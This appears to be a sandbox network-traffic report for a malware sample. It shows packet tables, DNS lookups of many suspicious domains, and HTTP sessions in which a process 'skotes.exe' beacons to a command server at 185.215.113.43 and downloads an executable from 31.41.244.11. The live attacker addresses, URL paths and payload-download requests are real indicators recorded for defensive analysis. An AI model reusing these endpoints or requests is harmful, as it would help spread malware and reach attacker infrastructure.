Dec 15, 2024 12:00:24.430963039 CET	49928	443	192.168.2.4	172.67.207.38
Dec 15, 2024 12:00:24.430963039 CET	49928	443	192.168.2.4	172.67.207.38
Dec 15, 2024 12:00:24.431401014 CET	443	49928	172.67.207.38	192.168.2.4
Dec 15, 2024 12:00:24.632805109 CET	9270	49932	89.23.100.42	192.168.2.4
Dec 15, 2024 12:00:24.632906914 CET	49932	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 12:00:25.179034948 CET	443	49928	172.67.207.38	192.168.2.4
Dec 15, 2024 12:00:25.179287910 CET	443	49928	172.67.207.38	192.168.2.4
Dec 15, 2024 12:00:25.179389000 CET	49928	443	192.168.2.4	172.67.207.38
Dec 15, 2024 12:00:25.267359972 CET	49928	443	192.168.2.4	172.67.207.38
Dec 15, 2024 12:00:25.267360926 CET	49928	443	192.168.2.4	172.67.207.38
Dec 15, 2024 12:00:25.267435074 CET	443	49928	172.67.207.38	192.168.2.4
Dec 15, 2024 12:00:25.267471075 CET	443	49928	172.67.207.38	192.168.2.4
Dec 15, 2024 12:00:25.631448030 CET	49935	443	192.168.2.4	104.21.16.1
Dec 15, 2024 12:00:25.631530046 CET	443	49935	104.21.16.1	192.168.2.4
Dec 15, 2024 12:00:25.631628990 CET	49935	443	192.168.2.4	104.21.16.1
Dec 15, 2024 12:00:25.631896019 CET	49935	443	192.168.2.4	104.21.16.1
Dec 15, 2024 12:00:25.631915092 CET	443	49935	104.21.16.1	192.168.2.4
Dec 15, 2024 12:00:26.854300022 CET	443	49935	104.21.16.1	192.168.2.4
Dec 15, 2024 12:00:26.854428053 CET	49935	443	192.168.2.4	104.21.16.1
Dec 15, 2024 12:00:26.946170092 CET	49935	443	192.168.2.4	104.21.16.1
Dec 15, 2024 12:00:26.946252108 CET	443	49935	104.21.16.1	192.168.2.4
Dec 15, 2024 12:00:26.947304010 CET	443	49935	104.21.16.1	192.168.2.4
Dec 15, 2024 12:00:26.948324919 CET	49935	443	192.168.2.4	104.21.16.1
Dec 15, 2024 12:00:26.948324919 CET	49935	443	192.168.2.4	104.21.16.1
Dec 15, 2024 12:00:26.948641062 CET	443	49935	104.21.16.1	192.168.2.4
Dec 15, 2024 12:00:27.586247921 CET	443	49935	104.21.16.1	192.168.2.4
Dec 15, 2024 12:00:27.586492062 CET	443	49935	104.21.16.1	192.168.2.4
Dec 15, 2024 12:00:27.586560011 CET	49935	443	192.168.2.4	104.21.16.1
Dec 15, 2024 12:00:27.772272110 CET	49935	443	192.168.2.4	104.21.16.1
Dec 15, 2024 12:00:27.772272110 CET	49935	443	192.168.2.4	104.21.16.1
Dec 15, 2024 12:00:27.772351027 CET	443	49935	104.21.16.1	192.168.2.4
Dec 15, 2024 12:00:27.772389889 CET	443	49935	104.21.16.1	192.168.2.4
Dec 15, 2024 12:00:27.992499113 CET	49932	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 12:00:28.720707893 CET	49941	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 12:00:28.840686083 CET	9270	49941	89.23.100.42	192.168.2.4
Dec 15, 2024 12:00:28.841188908 CET	49941	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 12:00:28.989911079 CET	49941	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 12:00:29.112973928 CET	9270	49941	89.23.100.42	192.168.2.4
Dec 15, 2024 12:00:30.026654959 CET	9270	49941	89.23.100.42	192.168.2.4
Dec 15, 2024 12:00:30.026871920 CET	49941	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 12:00:34.287986994 CET	49951	443	192.168.2.4	23.55.153.106
Dec 15, 2024 12:00:34.288042068 CET	443	49951	23.55.153.106	192.168.2.4
Dec 15, 2024 12:00:34.288156986 CET	49951	443	192.168.2.4	23.55.153.106
Dec 15, 2024 12:00:34.292040110 CET	49951	443	192.168.2.4	23.55.153.106
Dec 15, 2024 12:00:34.292081118 CET	443	49951	23.55.153.106	192.168.2.4
Dec 15, 2024 12:00:35.681428909 CET	443	49951	23.55.153.106	192.168.2.4
Dec 15, 2024 12:00:35.681659937 CET	49951	443	192.168.2.4	23.55.153.106
Dec 15, 2024 12:00:35.835647106 CET	49951	443	192.168.2.4	23.55.153.106
Dec 15, 2024 12:00:35.835736036 CET	443	49951	23.55.153.106	192.168.2.4
Dec 15, 2024 12:00:35.836671114 CET	443	49951	23.55.153.106	192.168.2.4
Dec 15, 2024 12:00:35.838255882 CET	49951	443	192.168.2.4	23.55.153.106
Dec 15, 2024 12:00:35.883405924 CET	443	49951	23.55.153.106	192.168.2.4
Dec 15, 2024 12:00:36.399760008 CET	49957	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 12:00:36.495024920 CET	443	49951	23.55.153.106	192.168.2.4
Dec 15, 2024 12:00:36.495059967 CET	443	49951	23.55.153.106	192.168.2.4
Dec 15, 2024 12:00:36.495081902 CET	443	49951	23.55.153.106	192.168.2.4
Dec 15, 2024 12:00:36.495119095 CET	49951	443	192.168.2.4	23.55.153.106
Dec 15, 2024 12:00:36.495142937 CET	443	49951	23.55.153.106	192.168.2.4
Dec 15, 2024 12:00:36.495177984 CET	49951	443	192.168.2.4	23.55.153.106
Dec 15, 2024 12:00:36.495207071 CET	49951	443	192.168.2.4	23.55.153.106
Dec 15, 2024 12:00:36.520988941 CET	9270	49957	89.23.100.42	192.168.2.4
Dec 15, 2024 12:00:36.521208048 CET	49957	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 12:00:36.602154016 CET	49957	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 12:00:36.665683031 CET	443	49951	23.55.153.106	192.168.2.4
Dec 15, 2024 12:00:36.665832043 CET	49951	443	192.168.2.4	23.55.153.106
Dec 15, 2024 12:00:36.665894032 CET	443	49951	23.55.153.106	192.168.2.4
Dec 15, 2024 12:00:36.665977001 CET	49951	443	192.168.2.4	23.55.153.106
Dec 15, 2024 12:00:36.696312904 CET	443	49951	23.55.153.106	192.168.2.4
Dec 15, 2024 12:00:36.696378946 CET	443	49951	23.55.153.106	192.168.2.4
Dec 15, 2024 12:00:36.696418047 CET	49951	443	192.168.2.4	23.55.153.106
Dec 15, 2024 12:00:36.696481943 CET	443	49951	23.55.153.106	192.168.2.4
Dec 15, 2024 12:00:36.696525097 CET	443	49951	23.55.153.106	192.168.2.4
Dec 15, 2024 12:00:36.696551085 CET	49951	443	192.168.2.4	23.55.153.106
Dec 15, 2024 12:00:36.696579933 CET	49951	443	192.168.2.4	23.55.153.106
Dec 15, 2024 12:00:36.722012043 CET	9270	49957	89.23.100.42	192.168.2.4
Dec 15, 2024 12:00:37.005379915 CET	49951	443	192.168.2.4	23.55.153.106
Dec 15, 2024 12:00:37.005446911 CET	443	49951	23.55.153.106	192.168.2.4
Dec 15, 2024 12:00:37.005523920 CET	49951	443	192.168.2.4	23.55.153.106
Dec 15, 2024 12:00:37.005542040 CET	443	49951	23.55.153.106	192.168.2.4
Dec 15, 2024 12:00:37.723864079 CET	9270	49957	89.23.100.42	192.168.2.4
Dec 15, 2024 12:00:37.724203110 CET	49957	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 12:00:39.161379099 CET	49957	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 12:00:39.820354939 CET	49963	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 12:00:39.940438032 CET	9270	49963	89.23.100.42	192.168.2.4
Dec 15, 2024 12:00:39.940599918 CET	49963	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 12:00:40.022253036 CET	49963	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 12:00:40.142206907 CET	9270	49963	89.23.100.42	192.168.2.4
Dec 15, 2024 12:00:41.128108978 CET	9270	49963	89.23.100.42	192.168.2.4
Dec 15, 2024 12:00:41.128226042 CET	49963	9270	192.168.2.4	89.23.100.42

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 15, 2024 11:59:15.776236057 CET	54452	53	192.168.2.4	1.1.1.1
Dec 15, 2024 11:59:16.077919960 CET	53	54452	1.1.1.1	192.168.2.4
Dec 15, 2024 11:59:17.231976986 CET	57028	53	192.168.2.4	1.1.1.1
Dec 15, 2024 11:59:17.549654961 CET	53	57028	1.1.1.1	192.168.2.4
Dec 15, 2024 11:59:18.050977945 CET	59707	53	192.168.2.4	1.1.1.1
Dec 15, 2024 11:59:18.368799925 CET	53	59707	1.1.1.1	192.168.2.4
Dec 15, 2024 11:59:20.323304892 CET	54771	53	192.168.2.4	1.1.1.1
Dec 15, 2024 11:59:20.617448092 CET	53	54771	1.1.1.1	192.168.2.4
Dec 15, 2024 11:59:22.969223976 CET	51548	53	192.168.2.4	1.1.1.1
Dec 15, 2024 11:59:23.197372913 CET	53	51548	1.1.1.1	192.168.2.4
Dec 15, 2024 11:59:23.411190033 CET	64228	53	192.168.2.4	1.1.1.1
Dec 15, 2024 11:59:23.628422976 CET	53	64228	1.1.1.1	192.168.2.4
Dec 15, 2024 11:59:23.633929014 CET	53807	53	192.168.2.4	1.1.1.1
Dec 15, 2024 11:59:23.857007027 CET	53	53807	1.1.1.1	192.168.2.4
Dec 15, 2024 11:59:23.935256004 CET	58940	53	192.168.2.4	1.1.1.1
Dec 15, 2024 11:59:24.159497976 CET	53	58940	1.1.1.1	192.168.2.4
Dec 15, 2024 11:59:24.182333946 CET	63784	53	192.168.2.4	1.1.1.1
Dec 15, 2024 11:59:24.411487103 CET	53	63784	1.1.1.1	192.168.2.4
Dec 15, 2024 11:59:24.425491095 CET	54425	53	192.168.2.4	1.1.1.1
Dec 15, 2024 11:59:24.656651020 CET	53	54425	1.1.1.1	192.168.2.4
Dec 15, 2024 11:59:24.708712101 CET	62442	53	192.168.2.4	1.1.1.1
Dec 15, 2024 11:59:24.846658945 CET	53	62442	1.1.1.1	192.168.2.4
Dec 15, 2024 12:00:03.873668909 CET	50057	53	192.168.2.4	1.1.1.1
Dec 15, 2024 12:00:04.205688953 CET	53	50057	1.1.1.1	192.168.2.4
Dec 15, 2024 12:00:16.538660049 CET	50050	53	192.168.2.4	1.1.1.1
Dec 15, 2024 12:00:16.926290035 CET	53	50050	1.1.1.1	192.168.2.4
Dec 15, 2024 12:00:28.115536928 CET	59154	53	192.168.2.4	1.1.1.1
Dec 15, 2024 12:00:28.253892899 CET	53	59154	1.1.1.1	192.168.2.4
Dec 15, 2024 12:00:29.178088903 CET	51351	53	192.168.2.4	1.1.1.1
Dec 15, 2024 12:00:29.318134069 CET	53	51351	1.1.1.1	192.168.2.4
Dec 15, 2024 12:00:30.349594116 CET	56364	53	192.168.2.4	1.1.1.1
Dec 15, 2024 12:00:30.488831043 CET	53	56364	1.1.1.1	192.168.2.4
Dec 15, 2024 12:00:31.226238012 CET	50504	53	192.168.2.4	1.1.1.1
Dec 15, 2024 12:00:31.365767002 CET	53	50504	1.1.1.1	192.168.2.4
Dec 15, 2024 12:00:31.944427013 CET	49965	53	192.168.2.4	1.1.1.1
Dec 15, 2024 12:00:32.082396030 CET	53	49965	1.1.1.1	192.168.2.4
Dec 15, 2024 12:00:32.959687948 CET	62929	53	192.168.2.4	1.1.1.1
Dec 15, 2024 12:00:33.298217058 CET	53	62929	1.1.1.1	192.168.2.4
Dec 15, 2024 12:00:34.052778006 CET	55923	53	192.168.2.4	1.1.1.1
Dec 15, 2024 12:00:34.193231106 CET	53	55923	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 15, 2024 11:59:15.776236057 CET	192.168.2.4	1.1.1.1	0xa870	Standard query (0)	shineugler.biz	A (IP address)	IN (0x0001)	false
Dec 15, 2024 11:59:17.231976986 CET	192.168.2.4	1.1.1.1	0x32c8	Standard query (0)	hansgborn.eu	A (IP address)	IN (0x0001)	false
Dec 15, 2024 11:59:18.050977945 CET	192.168.2.4	1.1.1.1	0x5794	Standard query (0)	immureprech.biz	A (IP address)	IN (0x0001)	false
Dec 15, 2024 11:59:20.323304892 CET	192.168.2.4	1.1.1.1	0x8d0f	Standard query (0)	deafeninggeh.biz	A (IP address)	IN (0x0001)	false
Dec 15, 2024 11:59:22.969223976 CET	192.168.2.4	1.1.1.1	0x41d0	Standard query (0)	effecterectz.xyz	A (IP address)	IN (0x0001)	false
Dec 15, 2024 11:59:23.411190033 CET	192.168.2.4	1.1.1.1	0xf32d	Standard query (0)	diffuculttan.xyz	A (IP address)	IN (0x0001)	false
Dec 15, 2024 11:59:23.633929014 CET	192.168.2.4	1.1.1.1	0x598	Standard query (0)	debonairnukk.xyz	A (IP address)	IN (0x0001)	false
Dec 15, 2024 11:59:23.935256004 CET	192.168.2.4	1.1.1.1	0x6f66	Standard query (0)	wrathful-jammy.cyou	A (IP address)	IN (0x0001)	false
Dec 15, 2024 11:59:24.182333946 CET	192.168.2.4	1.1.1.1	0xd500	Standard query (0)	awake-weaves.cyou	A (IP address)	IN (0x0001)	false
Dec 15, 2024 11:59:24.425491095 CET	192.168.2.4	1.1.1.1	0x8141	Standard query (0)	sordid-snaked.cyou	A (IP address)	IN (0x0001)	false
Dec 15, 2024 11:59:24.708712101 CET	192.168.2.4	1.1.1.1	0x8b47	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Dec 15, 2024 12:00:03.873668909 CET	192.168.2.4	1.1.1.1	0x30d7	Standard query (0)	drive-connect.cyou	A (IP address)	IN (0x0001)	false
Dec 15, 2024 12:00:16.538660049 CET	192.168.2.4	1.1.1.1	0xe4a1	Standard query (0)	tacitglibbr.biz	A (IP address)	IN (0x0001)	false
Dec 15, 2024 12:00:28.115536928 CET	192.168.2.4	1.1.1.1	0x7d1f	Standard query (0)	effecterectz.xyz	A (IP address)	IN (0x0001)	false
Dec 15, 2024 12:00:29.178088903 CET	192.168.2.4	1.1.1.1	0x7a32	Standard query (0)	diffuculttan.xyz	A (IP address)	IN (0x0001)	false
Dec 15, 2024 12:00:30.349594116 CET	192.168.2.4	1.1.1.1	0xc537	Standard query (0)	debonairnukk.xyz	A (IP address)	IN (0x0001)	false
Dec 15, 2024 12:00:31.226238012 CET	192.168.2.4	1.1.1.1	0x984c	Standard query (0)	wrathful-jammy.cyou	A (IP address)	IN (0x0001)	false
Dec 15, 2024 12:00:31.944427013 CET	192.168.2.4	1.1.1.1	0x47a	Standard query (0)	awake-weaves.cyou	A (IP address)	IN (0x0001)	false
Dec 15, 2024 12:00:32.959687948 CET	192.168.2.4	1.1.1.1	0xdc93	Standard query (0)	sordid-snaked.cyou	A (IP address)	IN (0x0001)	false
Dec 15, 2024 12:00:34.052778006 CET	192.168.2.4	1.1.1.1	0xddd3	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 15, 2024 11:59:16.077919960 CET	1.1.1.1	192.168.2.4	0xa870	No error (0)	shineugler.biz		104.21.51.88	A (IP address)	IN (0x0001)	false
Dec 15, 2024 11:59:16.077919960 CET	1.1.1.1	192.168.2.4	0xa870	No error (0)	shineugler.biz		172.67.177.250	A (IP address)	IN (0x0001)	false
Dec 15, 2024 11:59:17.549654961 CET	1.1.1.1	192.168.2.4	0x32c8	No error (0)	hansgborn.eu		172.67.218.51	A (IP address)	IN (0x0001)	false
Dec 15, 2024 11:59:17.549654961 CET	1.1.1.1	192.168.2.4	0x32c8	No error (0)	hansgborn.eu		104.21.91.120	A (IP address)	IN (0x0001)	false
Dec 15, 2024 11:59:18.368799925 CET	1.1.1.1	192.168.2.4	0x5794	No error (0)	immureprech.biz		172.67.207.38	A (IP address)	IN (0x0001)	false
Dec 15, 2024 11:59:18.368799925 CET	1.1.1.1	192.168.2.4	0x5794	No error (0)	immureprech.biz		104.21.22.222	A (IP address)	IN (0x0001)	false
Dec 15, 2024 11:59:20.617448092 CET	1.1.1.1	192.168.2.4	0x8d0f	No error (0)	deafeninggeh.biz		104.21.16.1	A (IP address)	IN (0x0001)	false
Dec 15, 2024 11:59:20.617448092 CET	1.1.1.1	192.168.2.4	0x8d0f	No error (0)	deafeninggeh.biz		104.21.64.1	A (IP address)	IN (0x0001)	false
Dec 15, 2024 11:59:20.617448092 CET	1.1.1.1	192.168.2.4	0x8d0f	No error (0)	deafeninggeh.biz		104.21.112.1	A (IP address)	IN (0x0001)	false
Dec 15, 2024 11:59:20.617448092 CET	1.1.1.1	192.168.2.4	0x8d0f	No error (0)	deafeninggeh.biz		104.21.48.1	A (IP address)	IN (0x0001)	false
Dec 15, 2024 11:59:20.617448092 CET	1.1.1.1	192.168.2.4	0x8d0f	No error (0)	deafeninggeh.biz		104.21.32.1	A (IP address)	IN (0x0001)	false
Dec 15, 2024 11:59:20.617448092 CET	1.1.1.1	192.168.2.4	0x8d0f	No error (0)	deafeninggeh.biz		104.21.96.1	A (IP address)	IN (0x0001)	false
Dec 15, 2024 11:59:20.617448092 CET	1.1.1.1	192.168.2.4	0x8d0f	No error (0)	deafeninggeh.biz		104.21.80.1	A (IP address)	IN (0x0001)	false
Dec 15, 2024 11:59:23.197372913 CET	1.1.1.1	192.168.2.4	0x41d0	Name error (3)	effecterectz.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 15, 2024 11:59:23.628422976 CET	1.1.1.1	192.168.2.4	0xf32d	Name error (3)	diffuculttan.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 15, 2024 11:59:23.857007027 CET	1.1.1.1	192.168.2.4	0x598	Name error (3)	debonairnukk.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 15, 2024 11:59:24.159497976 CET	1.1.1.1	192.168.2.4	0x6f66	Name error (3)	wrathful-jammy.cyou	none	none	A (IP address)	IN (0x0001)	false
Dec 15, 2024 11:59:24.411487103 CET	1.1.1.1	192.168.2.4	0xd500	Name error (3)	awake-weaves.cyou	none	none	A (IP address)	IN (0x0001)	false
Dec 15, 2024 11:59:24.656651020 CET	1.1.1.1	192.168.2.4	0x8141	Name error (3)	sordid-snaked.cyou	none	none	A (IP address)	IN (0x0001)	false
Dec 15, 2024 11:59:24.846658945 CET	1.1.1.1	192.168.2.4	0x8b47	No error (0)	steamcommunity.com		23.55.153.106	A (IP address)	IN (0x0001)	false
Dec 15, 2024 12:00:04.205688953 CET	1.1.1.1	192.168.2.4	0x30d7	No error (0)	drive-connect.cyou		104.21.79.7	A (IP address)	IN (0x0001)	false
Dec 15, 2024 12:00:04.205688953 CET	1.1.1.1	192.168.2.4	0x30d7	No error (0)	drive-connect.cyou		172.67.139.78	A (IP address)	IN (0x0001)	false
Dec 15, 2024 12:00:16.926290035 CET	1.1.1.1	192.168.2.4	0xe4a1	No error (0)	tacitglibbr.biz		104.21.50.161	A (IP address)	IN (0x0001)	false
Dec 15, 2024 12:00:16.926290035 CET	1.1.1.1	192.168.2.4	0xe4a1	No error (0)	tacitglibbr.biz		172.67.164.37	A (IP address)	IN (0x0001)	false
Dec 15, 2024 12:00:28.253892899 CET	1.1.1.1	192.168.2.4	0x7d1f	Name error (3)	effecterectz.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 15, 2024 12:00:29.318134069 CET	1.1.1.1	192.168.2.4	0x7a32	Name error (3)	diffuculttan.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 15, 2024 12:00:30.488831043 CET	1.1.1.1	192.168.2.4	0xc537	Name error (3)	debonairnukk.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 15, 2024 12:00:31.365767002 CET	1.1.1.1	192.168.2.4	0x984c	Name error (3)	wrathful-jammy.cyou	none	none	A (IP address)	IN (0x0001)	false
Dec 15, 2024 12:00:32.082396030 CET	1.1.1.1	192.168.2.4	0x47a	Name error (3)	awake-weaves.cyou	none	none	A (IP address)	IN (0x0001)	false
Dec 15, 2024 12:00:33.298217058 CET	1.1.1.1	192.168.2.4	0xdc93	Name error (3)	sordid-snaked.cyou	none	none	A (IP address)	IN (0x0001)	false
Dec 15, 2024 12:00:34.193231106 CET	1.1.1.1	192.168.2.4	0xddd3	No error (0)	steamcommunity.com		23.55.153.106	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

shineugler.biz

immureprech.biz

hansgborn.eu

deafeninggeh.biz

steamcommunity.com

drive-connect.cyou

185.215.113.43

31.41.244.11

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49748	185.215.113.43	80	8064	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 15, 2024 11:59:04.337490082 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 15, 2024 11:59:05.670171976 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 15 Dec 2024 10:59:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49754	185.215.113.43	80	8064	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 15, 2024 11:59:07.299572945 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 31 32 37 37 31 42 31 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB12771B15982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 15, 2024 11:59:08.664598942 CET	1040	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 15 Dec 2024 10:59:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 35 31 0d 0a 20 3c 63 3e 31 30 31 35 35 36 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 64 37 33 39 33 35 37 34 64 66 31 34 31 65 35 34 32 34 30 34 33 35 38 64 36 64 39 66 63 31 64 23 31 30 31 35 35 36 34 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 38 34 35 62 31 64 65 38 39 65 31 63 33 66 37 65 31 64 36 30 66 38 34 36 62 34 65 62 64 39 62 33 66 39 66 33 61 64 65 65 37 65 38 31 35 38 31 66 65 62 31 64 65 31 35 34 34 31 23 31 30 31 35 35 36 35 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 39 36 61 38 30 35 31 34 35 62 30 30 32 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 35 35 36 36 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 [TRUNCATED] Data Ascii: 351 <c>1015563001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7393574df141e542404358d6d9fc1d#1015564001+++b5937c1a99d5f9845b1de89e1c3f7e1d60f846b4ebd9b3f9f3adee7e81581feb1de15441#1015565001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc96a805145b002ab5e45425197d1aa1daaa8#1015566001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#1015567001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1015568001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1015569001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1015570001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1015571001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbce71914e54a61cf64d4a485a9592e100b7#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49760	31.41.244.11	80	8064	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 15, 2024 11:59:08.788897991 CET	60	OUT	GET /files/flava/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 15, 2024 11:59:10.123203039 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 15 Dec 2024 10:59:09 GMT Content-Type: application/octet-stream Content-Length: 1834496 Last-Modified: Sat, 14 Dec 2024 21:12:38 GMT Connection: keep-alive ETag: "675df4c6-1bfe00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 62 fe 59 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 cc 03 00 00 b0 00 00 00 00 00 00 00 80 48 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 48 00 00 04 00 00 e2 b0 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELbYgH@H@T0h 1 H@.rsrc X@.idata 0Z@ )@\@ubvmxkob.z^@xdawalmhpH@.taggant0H"@
Dec 15, 2024 11:59:10.123223066 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 15, 2024 11:59:10.123342037 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 15, 2024 11:59:10.123378992 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 15, 2024 11:59:10.123384953 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
